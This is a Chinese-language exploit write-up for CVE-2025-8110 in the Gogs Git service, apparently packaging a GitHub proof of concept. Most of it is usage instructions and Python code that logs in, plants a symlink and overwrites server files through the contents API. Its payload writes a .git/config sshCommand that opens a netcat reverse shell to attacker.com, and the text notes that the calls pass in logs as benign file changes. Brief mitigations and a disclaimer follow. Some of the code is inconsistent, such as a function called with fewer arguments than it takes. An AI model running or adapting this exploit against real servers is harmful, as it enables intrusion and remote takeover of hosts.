CVE-2025-8110 — Gogs 零日RCE漏洞深度分析
🔍 概述
CVE-2025-8110 是 Gogs(自托管Git服务)中的一个高危远程代码执行漏洞。该漏洞源于 PutContents API 中符号链接验证不充分,允许攻击者覆盖主机上的任意文件,最终执行恶意代码。
这是一个符号链接路径遍历绕过漏洞,攻击者可以:
- 在仓库中创建恶意符号链接
- 通过API写入符号链接指向的目标
- 覆盖服务器上的任意文件
- 注入恶意配置或代码
- 实现远程代码执行
⚠️ 严重性指标
- CVSS评分约8.7(高危)
- 可通过网络利用
- 利用复杂度低
- 所需权限较低
🧨 漏洞原理
Gogs允许用户在仓库中创建符号链接。存在漏洞的 PutContents API 不检查这些符号链接是否指向仓库外部,使得攻击者能够:
- 在仓库内创建恶意符号链接
- 通过API向符号链接写入内容
- 覆盖服务器上的任意文件
- 注入恶意配置或代码
- 最终获得远程代码执行权限
🚨 当前利用状态
- 已识别超过 1,400台互联网暴露的Gogs服务器
- 700多台已被入侵
- 攻击者创建随机短名称仓库作为利用的一部分
- 自2025年12月初以来观察到相关活动
- 报告发布时尚无官方补丁
📋 功能特性
核心功能
- 认证绕过:通过合法用户凭证获取CSRF令牌和会话Cookie
- 符号链接创建:在目标仓库中创建指向任意路径的符号链接
- 文件覆盖:通过符号链接漏洞覆盖目标文件内容
- RCE载荷生成:自动生成针对
.git/config的SSH RCE载荷 - 灵活配置:支持自定义目标文件路径和恶意载荷内容
利用场景
- 远程代码执行:通过覆盖
.git/config文件注入恶意SSH命令 - 配置文件篡改:修改系统关键配置文件
- WebShell部署:在Web目录写入恶意脚本
- 权限维持:创建后门账户或SSH密钥
🔧 安装指南
系统要求
- Python 3.6+
- requests库
- 网络访问权限
安装步骤
-
克隆或下载PoC脚本:
git clone https://github.com/Ashwesker/Blackash-CVE-2025-8110/ cd Blackash-CVE-2025-8110 -
安装必要的Python依赖:
pip install requests -
确保脚本有执行权限:
chmod +x cve-2025-8110.py
平台说明
- 该PoC工具跨平台运行(Linux、macOS、Windows)
- 需要在Python环境中运行
- 目标Gogs服务必须可从攻击机访问
🚀 使用说明
基础用法
python3 cve-2025-8110.py -u http://gogs.example.com -U username -P password -r test-repo -t /path/to/target/file
参数说明
-u:Gogs实例的基础URL-U:用户名-P:密码(也可使用--token参数指定API令牌)-r:仓库名称(如需所有者/仓库格式)-t:要覆盖的目标文件路径(默认:.git/config用于SSH RCE)--payload:自定义载荷内容(默认:简单的echo测试命令)--lhost/--lport:反向Shell监听主机和端口(用于RCE)
RCE示例
-
首先在攻击机上启动监听:
nc -lvnp 4444 -
执行PoC工具:
python3 cve-2025-8110.py -u http://target.com -U admin -P password -r victim/repo --lhost attacker.com --lport 4444 -
触发Git操作(如
git pull)以执行反向Shell
安全测试建议
- 本地环境:运行漏洞Gogs Docker实例:
docker run -p 3000:3000 gogs/gogs:0.13.0 - 验证结果:执行后检查目标文件(如
cat /tmp/pwned) - 日志隐蔽:API调用模拟正常仓库更新,日志显示良性的"文件更改"
💻 核心代码分析
1. 主函数与参数解析
def main():
parser = argparse.ArgumentParser(description="CVE-2025-8110 PoC")
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-U", "--username", required=True)
parser.add_argument("-P", "--password", required=True)
parser.add_argument("-r", "--repo", required=True, help="Repo path (owner/repo)")
parser.add_argument("-t", "--target", default="/tmp/pwned", help="Target file path")
parser.add_argument("--payload", default="echo 'pwned' > /tmp/pwned", help="Custom payload")
parser.add_argument("--lhost", default="attacker.com", help="LHOST for reverse shell")
parser.add_argument("--lport", type=int, default=4444, help="LPORT")
args = parser.parse_args()
session = requests.Session()
session.headers.update({"Content-Type": "application/json"})
try:
cookies = get_auth_token(session, args.url, args.username, args.password)
symlink_name = "../pwned_symlink" # 仓库中的任意名称
create_symlink(session, args.url, args.repo, symlink_name, args.target)
# 针对.git/config的RCE,覆盖载荷
if "/.git/config" in args.target:
args.payload = rce_ssh_config(args.lhost, args.lport)
overwrite_via_symlink(session, args.url, args.repo, symlink_name, args.payload)
print(f"[+] Exploit complete! Check {args.target} for payload.")
print("[*] For RCE: Trigger a git pull/clone as the gogs user to execute via SSH.")
except Exception as e:
print(f"[-] Error: {e}")
代码说明:主函数负责解析命令行参数,创建HTTP会话,并协调整个利用流程。包含认证、符号链接创建和文件覆盖三个主要步骤。
2. 认证令牌获取
def get_auth_token(session, base_url, username, password):
"""Authenticate and retrieve CSRF token + session cookie."""
login_url = f"{base_url}/user/login"
session.get(login_url) # 从表单获取CSRF令牌
# 从响应中提取_csrf(简化版;生产环境需解析HTML)
login_data = {
"user_name": username,
"password": password,
"_csrf": session.cookies.get('_csrf', '') # 根据实际表单调整
}
resp = session.post(login_url, data=login_data)
if "user/login" in resp.url:
raise ValueError("Authentication failed")
print("[+] Authenticated successfully")
return session.cookies
代码说明:该函数通过模拟用户登录获取必要的CSRF令牌和会话Cookie,为后续API调用提供身份验证。
3. 符号链接创建
def create_symlink(session, base_url, repo, symlink_path, target_path):
"""Step 1: Create a symlink file in repo pointing to target."""
api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
symlink_content = base64.b64encode(target_path.encode()).decode() # Git中的符号链接格式
data = {
"message": "Create symlink",
"content": symlink_content,
"branch": "main"
}
resp = session.put(api_url, json=data)
if resp.status_code != 201:
raise ValueError(f"Failed to create symlink: {resp.text}")
print(f"[+] Symlink created: {symlink_path} -> {target_path}")
代码说明:通过Gogs API创建符号链接文件。关键点是将目标路径进行base64编码作为文件内容,这是Git存储符号链接的标准方式。
4. 通过符号链接覆盖文件
def overwrite_via_symlink(session, base_url, repo, symlink_path, payload):
"""Step 2: 'Update' the symlink to overwrite target with payload."""
api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
payload_b64 = base64.b64encode(payload.encode()).decode()
data = {
"message": "Overwrite via symlink",
"content": payload_b64,
"branch": "main",
"sha": "" # 通过不提供SHA来绕过"新内容"检查
}
resp = session.put(api_url, json=data)
if resp.status_code not in [200, 201]:
raise ValueError(f"Overwrite failed: {resp.text}")
print("[+] Target file overwritten successfully")
代码说明:这是漏洞利用的核心部分。通过"更新"符号链接文件,实际上将恶意内容写入符号链接指向的目标文件。关键技巧是不提供sha参数,绕过Git的内容变更检查。
5. SSH RCE载荷生成
def rce_ssh_config(base_url, lhost, lport):
"""Generate malicious .git/config payload for SSH RCE."""
payload = f"""
[core]
sshCommand = ssh -o ProxyCommand="nc {lhost} {lport} -e /bin/sh"
"""
return payload.strip()
代码说明:生成针对.git/config文件的恶意配置。当Gogs用户执行Git操作时,sshCommand会被执行,创建反向Shell连接到攻击者指定的主机和端口。
🛡️ 缓解措施(临时有效)
1. 禁用开放注册
防止攻击者创建仓库。
2. 移除公网暴露
通过以下方式保护Gogs:
- VPN访问
- 防火墙白名单
- 带身份验证的反向代理
3. 审计可疑仓库
查找以下特征:
- 6-10个字符的随机仓库名称
- 包含符号链接的仓库
4. 强制执行严格访问控制
限制以下操作权限:
- 创建仓库
- 推送文件
- 访问API
⚠️ 法律与道德声明
免责声明:本文档信息仅用于教育和防御性安全目的。未经适当授权,请勿使用此信息访问或修改任何系统。未经授权的利用是非法且不道德的行为。
请注意:该漏洞在报告时尚未发布官方补丁,建议Gogs管理员立即采取上述缓解措施保护系统安全。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAMphdg/lq1Mu9tyBiK5QvHo